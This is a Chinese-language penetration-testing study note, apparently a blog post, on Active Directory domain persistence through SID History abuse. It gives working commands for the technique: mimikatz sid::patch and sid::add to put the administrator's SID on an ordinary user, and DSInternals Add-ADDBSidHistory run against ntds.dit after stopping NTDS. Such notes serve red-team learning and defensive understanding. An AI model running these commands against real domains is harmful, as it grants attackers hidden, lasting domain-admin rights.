内网渗透学习(域持久化篇)

SID History

SID(安全标识符)是分配给每个安全主体(例如用户、组、计算机)的唯一标识符。它用于在域内标识主体,并用于控制对资源的访问

SID History 是用户或组对象的一个​​属性,允许对象在域合并或重组过程中从一个域迁移到另一个域时保留其 SID。当对象迁移到新域时,目标域会为其分配一个新的 SID。SID History 允许对象保留其原始 SID,从而不会丢失对源域中资源的访问权限

这种机制也可能被滥用为一种持久性手段:将特权帐户或组的 SID 添加到受控帐户的 SID-History 属性中,即可授予与添加该 SID 的帐户/组相关的权限

Windows 2016之前

通过 powershell 命令查看 test 用户的 SID History 属性

1
2
Import-Module ActiveDirectory
Get-ADUser test -Properties sidhistory

通过 mimikatz 的 sid::patch 、sid::add 和 sid::lookup 命令来修改对象的 SID History 属性

1
2
# 将域管理员 administrator 的 SID 添加到域用户 test 的 SID History 属性中
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:test /new:administrator" exit

Windows 2016之后

在Windows域控制器2016及更高版本上,向账户的SID History属性中添加SID的唯一已知方法是使用Powershell模块DSInternals。此方法同样适用于Windows 2016之前的域控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在域控制器上安装DSInternals
Install-Module -Name DSInternals

# 找到你想要注入的账户SID
Get-ADUser -Identity $InterestingUser

# 停止NTDS服务
Stop-service NTDS -force

# 将SID注入到SID History属性中
Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit

# 启动NTDS服务
Start-service NTDS

内网渗透学习(域持久化篇)
https://www.dr0n.top/posts/40f9efa6/
作者
dr0n
发布于
2025年9月13日
更新于
2025年10月29日
许可协议